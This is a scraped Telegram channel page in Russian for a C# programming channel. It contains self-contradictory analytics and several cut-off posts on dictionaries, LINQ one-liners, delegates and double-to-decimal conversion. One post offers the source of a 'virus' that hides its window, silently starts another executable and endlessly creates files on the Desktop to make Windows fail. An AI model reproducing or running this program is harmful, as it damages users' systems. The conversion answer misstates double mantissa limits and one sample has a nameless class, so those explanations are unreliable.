C# (C Sharp) programming
По всем вопросам- @notxxx1 Реестр РКН: https://clck.ru/3Fk3kb #VRHSZ
Больше📈 Аналитический обзор Telegram-канала C# (C Sharp) programming
Канал C# (C Sharp) programming (@csharp_ci) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 18 144 подписчиков, занимая 7 070 место в категории Технологии и приложения и 36 441 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 18 144 подписчиков.
Согласно последним данным от 01 сентября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -54, а за последние 24 часа — 20, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 13.79%. В первые 24 часа после публикации контент обычно набирает 7.32% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 2 503 просмотров. В течение первых суток публикация набирает 1 329 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 0.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как .net, api, логика, архитектура, string.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“По всем вопросам- @notxxx1
Реестр РКН: https://clck.ru/3Fk3kb
#VRHSZ”
Благодаря высокой частоте обновлений (последние данные получены 02 сентября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
Dictionary. В качестве значений вы, скорее всего, использовали классы.
А знаете ли вы, что в Dictionary можно использовать структуры? Не стоит бояться того, что структуры копируются при передаче в метод или возврате из него. Есть способ этого избежать, и это работает быстро.
Собственно, об этом и говорится в статье, а вот некоторые выводы из неё:
🟡Структуры — недооценённые элементы C#, которые, при определённых условиях, способны ускорить ваше приложение.
🟡При использовании структур в качестве значений для Dictionary лучше воспользоваться классом CollectionsMarshal.
🟡Методы этого класса GetValueRefOrAddDefault и GetValueRefOrNullRef позволяют получать элементы словаря по ссылке. Это, в свою очередь, может положительно сказаться на производительности кода при относительно большом количестве операций поиска в словаре.
📎 Статья
@csharp_ciPrint("Multiple each item in a list by 2", Enumerable.Range(1, 10).Select(i => i * 2));
⏩Сумма списка чисел
Print("Sum a list of numbers", Enumerable.Range(1, 1000).Sum());
⏩Проверка вхождения подстроки
var wordlist = new[] { "C#", "and stuff" };
var tweet = "This is an example tweet talking about C# and stuff";
Print("Verify if a word exists in string", wordlist.Any(word => tweet.IndexOf(word) > -1));
Print("Show matched words in string", wordlist.Where(word => tweet.IndexOf(word) > -1));
⏩Чтение файла
Print("Read in a File", File.ReadAllBytes("oneliners.exe").Length);
⏩С днём рожденья
Print("Happy Birthday", Enumerable.Range(1, 4).Select((i) => string.Format("Happy Birthday {0} ", i == 3 ? "dear NAME" : "to You")));
⏩Фильтрация списка чисел
var passed = new List<int>();
var failed = new List<int>();
(from bucket in new[] { passed, failed } from i in new[] { 49, 58, 76, 82, 88, 90 } select new { bucket, i }).ToList().ForEach((tuple) => tuple.bucket.AddRange(Enumerable.Repeat(tuple, 1).Where((tup) => (tup.bucket == passed && tup.i > 60) || (tup.bucket == failed && tup.i <= 60)).Select((tup) => tup.i)));
Print("Filter list of numbers >60", (IEnumerable<int>)passed);
Print("Filter list of numbers <=60", (IEnumerable<int>)failed);
⏩Получение и разбор XML от веб-сервиса
Print("Fetch and Parse an XML web service", XDocument.Load("http://search.twitter.com/search.atom?&q=scala"));
⏩Поиск минимума и максимума в списке
Print("Find minimum in a list", Enumerable.Min(new[] { 14, 35, -7, 46, 98 }));
Print("Find maximum in a list", Enumerable.Max(new[] { 14, 35, -7, 46, 98 }));
⏩Параллельная обработка
Print("Parallel Processing", Enumerable.Range(1, 10).AsParallel().Select((i)=>i*2).AsEnumerable());
⏩FizzBuzz
Print("Fizzbuzz", Enumerable.Range(1, 15).Select((i)=>i + (i%3==0?"fizz":"") + (i%5==0?"buzz":"")));
@csharp_cibool CounterHashSetDelegate(int a) и реализовать метод int Function12(HashSet<int> intSet, CounterHashSetDelegate filter), который возвращает количество элементов из intSet, которые удовлетворяют условию filter.
public static class
{
public delegate bool CounterHashSetDelegate(int a);
public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
{
int count = 0;
foreach (int i in intSet)
{
if(filter(i))
count++;
}
return count;
}
}
⏩Давайте сразу к сути, решение может выглядеть так:
public delegate bool CounterHashSetDelegate(int a);
class Program
{
static void Main(string[] args)
{
CounterHashSetDelegate d = IsEvenNum;
Console.WriteLine($"Количество четных элементов:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");
d = IsGreaterThen;
Console.WriteLine($"Количество элементов > 2:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");
Console.ReadKey();
}
public static bool IsEvenNum(int a)
{
return a % 2 == 0;// четное ли число например
}
public static bool IsGreaterThen(int a)
{
return a > 2;//больше ли например
}
public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
{
int count = 0;
foreach (int i in intSet)
{
if (filter(i))
{
count++;
}
}
return count;
}
}
Вот и все дела
@csharp_citrain += Wagon2; мы добавляем 2й вагон в очередь.
Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции.
@csharp_ciexplorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера).
Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола.
Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
// Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{
// Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;
// Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}
📎 Подробнее
@csharp_cidouble (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649
Почему так происходит? Можно ли как то преобразовать без округления?
⏩Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм.
41-45 округляется к 40, 46-49 округляется к 50.
Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется.
Преобразовать без округления можно только так:
decimal result2 = (long)d;@csharp_ci
